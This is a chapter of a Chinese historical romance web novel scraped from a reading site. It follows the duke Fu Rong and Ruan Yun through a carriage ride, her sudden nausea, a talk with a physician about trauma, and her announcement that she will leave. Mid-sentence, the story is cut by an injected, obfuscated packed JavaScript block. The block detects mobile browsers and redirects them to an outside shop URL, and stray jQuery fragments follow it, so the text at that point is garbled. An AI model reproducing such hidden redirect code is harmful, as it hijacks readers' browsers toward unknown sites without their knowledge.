文趣网 > 都市小说 > 寡妇替身竟是亡妻归来 > 39. 第39章
    傅戎穿着绯色官袍常服,看上去刚从官署出来,手里还拿着两个油纸包。

    迎面遇上,来不及躲开,阮筠放平心绪,像普通朋友相遇那样跟他打了个招呼。

    食肆在门口架起一口油锅,店家正将裹好香榧杏仁碎的熟芋片放进锅里,随着噼啪声响,炸得香脆金黄的酥黄独新鲜出炉。

    空气里弥漫着香味,阮筠将注意力从傅戎身上挪开,说:“包两份酥黄独,不要放杏仁。”

    她习惯性说出最后一句话,一瞬间感受到来自身边的专注目光,只当不知。

    店家年近三十,样貌与她记忆里的那对老夫妇有些相似,十年前还在给父母打下手,现在则独当一面。

    听见她的要求,店家也不多问,如实按照客人的要求。

    食肆里的客人比较少,只有她跟傅戎,店家动作利落,递了两包酥黄独给她。

    阮筠往外走。

    傅戎一直安静地站在她的身边,直到此时才问:“回去吗?”

    如果说回去的话,依照他现在的阵仗肯定会说跟她一起回国公府,但是……她抬头看向天空,远处的太阳西斜,缓缓坠入天际。

    这个时候孙医师估摸不在医馆,她就算有钥匙,一个人去了也不过多绕一段路躲避傅戎,甚至他可能跟着一起去医馆。

    沉思考虑的空当,两人走出巷子,天色渐晚,行人陆续归家。

    阮筠的目光掠过面前陌生路人,点头:“嗯,回府。”

    她方才的犹豫顾虑没有瞒过傅戎的眼睛,他抬手一指,“坐马车。”

    之前进巷子的时候她就发现停在巷口的马车,乍一看并不起眼,上面也没有明显的标识,谁知竟然是国公府的马车。

    “咦?大哥?”

    叶绍远的声音由远及近,停在两人面前的时候,他隐晦看了一眼阮筠,掩饰住眼里的好奇,转向傅戎的方向。

    “卖松糕的食肆快关门了。”傅戎扫了他一眼,阻止叶绍远接下来要问的话,“你现在去的话还来得及。”

    “今天不用买松糕,她这两天吃腻了。”

    阮筠注意到叶绍远提起她这个字的时候,语气和神态瞬间变得温柔,应该指的是他的妻子。

    “今天买的应该够了。”叶绍远掰着手指数了一遍,“我到这边看看有没有什么新鲜点心。”

    说着,他看向两人拿在手里的油纸包,“你们买的这是什么?”

    “酥黄独,在这条巷子尽头的食肆。”

    叶绍远点点头表示记住了,往周围看看,人不算多,还有定国公府的车夫、侍卫,仍压低声音道:“大哥,我听到一点风声,皇上最近可能要给你指婚。”

    叶绍远的外祖母出自宗室,对于皇宫的消息有时候更灵敏。

    傅戎不动声色地看了一眼旁边的阮筠,反驳道:“谣言而已,不要到处乱传。”

    “可是……”叶绍远面露犹豫,“大哥,这么多年你一直一个人,难道以后也一直孤家寡人吗?”

    “很晚了,你该早点回去陪夫人。”

    听见傅戎直白的拒绝,叶绍远嘴唇微动似乎还想再说什么,对上傅戎冷淡的目光,他沉默下来。

    “我知道了,大哥,你就当我刚才没说那些话。”

    叶绍远一走,傅戎立刻解释:“以前确实有人想为我说亲,但全都被我拒绝了。”

    阮筠全程保持安静,简单“嗯”了一声,上了马车,坐在角落。

    马车走得很平稳,不似在山路那般颠簸,她努力转移注意力,不去想十年前。

    如今傅戎位高权重,续弦纳妾轻而易举,可正如他所言,国公府里没有女主人,他一直一个人。

    叶绍远作为傅戎的挚友,又在战场上有过命的交情,劝说他重新娶妻生子实属人之常情。

    那么她呢?

    她曾说过把他当朋友,从朋友的身份出发,她要像叶绍远那样劝说傅戎娶别的女子吗?

    阮筠无意识攥紧手里的油纸包,察觉到傅戎有意无意落在她身上的目光,解开油纸包,捏起一块酥黄独送入口中。

    这会儿已经冷掉了,吃起来有些腻人,她囫囵吞枣地吃了一块酥黄独,压根没有怎么咀嚼,堵在嗓子眼,不上不下。

    她艰难咽下去,用力抚按胸口,试图压下那股恶心反胃的感觉。

    此时,马车猛地停下,阮筠一时反应不及,整个人往前倾倒,跌进一个宽厚的胸膛。

    傅戎稳稳抱住她,厉声质问:“何事?”

    “回、回国公爷,刚才有人突然从路口冲出来,小的没能躲开,请国公责罚。”

    本就有些不舒服,又被马车颠了一阵,那阵恶心感越发强烈,阮筠忍不住了,捂住胸口干呕。

    傅戎轻缓抚摸她的后背,“我背你回去,好不好?”

    如果真让他这么做,第二天定国公在大街上亲自背一名年轻女子的流言就会传遍整个京城。

    “不用。”阮筠语气恹恹,往后靠在车壁上,“走慢一点就好。”

    马车缓慢往前行驶。

    察觉他的欲言又止,阮筠眼帘半阖,找了个借口:“可能是最近油腻的东西吃得太多了,有些犯恶心而已。”

    “嗯,回去以后找孙医师。”

    一路沉默地回到国公府。

    阮筠下了马车,准备回药庐,往前走了一段路后,她扭头看向跟在旁边的人,“回东院或者去正院的路不是这一条。”

    “我去药庐。”

    无声相对,她不确定傅戎是不是真的有正事去找孙医师,也没心思劝他不要去,不再理他,闷头往前走。

    回到药庐,阮筠找到孙医师,请他帮自己诊脉。

    “哪里不舒服?”孙医师一边观察她的气色,一边问,“中午离开医馆的时候,你看上去挺好的。”

    “坐马车的时候有些犯恶心。”

    孙医师认真诊看脉象,两刻钟后,说:“脉象平稳,并无大碍。”

    阮筠立刻收回手,看向杵在旁边的傅戎,努力控制语气平稳:“国公,您看到了,孙医师说我没事,劳驾您亲自跑一趟,我要回屋休息,您请自便。”

    连您字都出来了,傅戎不敢拦她,保持距离跟在她的身后。

    从正屋到跨院的距离不算远,阮筠走得又急又快,压根不去看后边亦步亦趋的傅戎,径直回屋。

    “砰”的一声,屋门紧紧关上。

    傅戎沉默看着屋里点起灯,这才回正屋找到孙医师。

    “孙医师,如果一个人以前坐马车时遇到危及生命的事情,是不是以后再坐马车就容易害怕恐惧?”

    “哦?”孙医师来了兴趣,“国公为什么这么问?是遇到过这样的情况吗?”

    “以前遇到过

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17726641|205803||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一些士兵,在战场上杀死敌人后出现过分警惕,很容易被一些风吹草动的小事惊吓……”

    傅戎描述得过于详细,孙医师认真听完,不答反问:“那么,国公你也会这样吗?”

    四周陷入沉寂。

    片刻之后,傅戎微微勾起嘴角:“不会。”

    孙医师压下背后的寒意,将话题拉回最开始:“国公放心,我会关注阮姑娘的情况,若是有任何异样,必定及时告诉你。”

    *

    翌日。

    阮筠看见站在跨院里的傅戎,抬头看向天空,快日上三竿了,“你不用去上朝?”

    “我告假了。”傅戎观察她的神色,她眼中似乎染上不少疲倦,“我带你去学骑马,好不好?”

    “什么?”阮筠想不明白他这么问的原因,也不想猜,直接拒绝,“不想去。”

    她越过傅戎,闷头往前走。

    “你要去哪里?”

    阮筠不想理他,快步走到后院的药圃,蹲在边上开始拔草。

    积雪逐渐消融,尚未除掉根系的杂草开始冒头,长得不算多。

    余光瞥见傅戎的侧影,他同样蹲了下来,挽紧衣袖,认真拔掉杂草。

    她收回目光,专注辨别面前的杂草,免得错把草药给拔了。

    拔草这样的活不费脑子不用想太多,在这样枯燥重复的过程中,借着身体上的疲惫,阮筠慢慢平复心里的烦躁。

    她拍拍手,注视眼前收拾干净的药圃,有些意犹未尽:“花园里的花圃是不是也要经常打理?我想去帮忙。”

    “可以,你想在府里做什么都可以。”傅戎说,“东院的竹林……”

    “那里交给花匠。”阮筠打断他,“我只会裁剪枝叶,别的不懂。”

    之后,阮筠每天早上去拿把剪子去花园,剪掉那些枯萎枝叶。

    傅戎跟着去了三天,在第三天傍晚的时候,阮筠觉得他再不去上朝肯定会出乱子,极力劝说他明天必须去上朝。

    见她的心情似乎转好,傅戎放心了大半,顶着她期待的目光,不情不愿地答应了。

    将花园里的花草树木全部修理一遍,阮筠开辟一块新的花圃,找花匠要了一些花苗。

    傅戎提前吩咐过花园的管事,无论她做什么都没有人阻拦,提出的任何要求都得到满足。

    “你种的什么花?”

    每天下值后,傅戎直奔花园,总能看到阮筠忙碌的身影,随后加入她,一起锄地施肥等等。

    “月季。”

    阮筠一身短褐,忙了大半天,身上沾染不少泥土,汗水打湿鬓边碎发,脸上露出几分劳作后的疲惫,可双眼亮晶晶的,看着面前的月季花苗。

    她浇完最后一瓢水,抬手抹掉额头的汗,“顺利的话,半年后就会开花了。”

    傅戎注视着她,张开口想问什么时,阮筠突然开口:“对了,有件东西要送给你。”

    她小跑地走远,在花圃边上摸索一阵,双手藏在身后,再次走到他的跟前,右手猛地伸出。

    “好看吗?我今天去浇水时发现的。”

    一朵桃花,粉色花瓣全然绽放,在早春的微风中轻轻摇晃。

    傅戎接住这一朵桃花,不由放在鼻尖轻嗅。

    “还有一件事。”阮筠语气平静,就像前几天和他讨论晚饭吃什么一样平静,“我明天离开国公府。”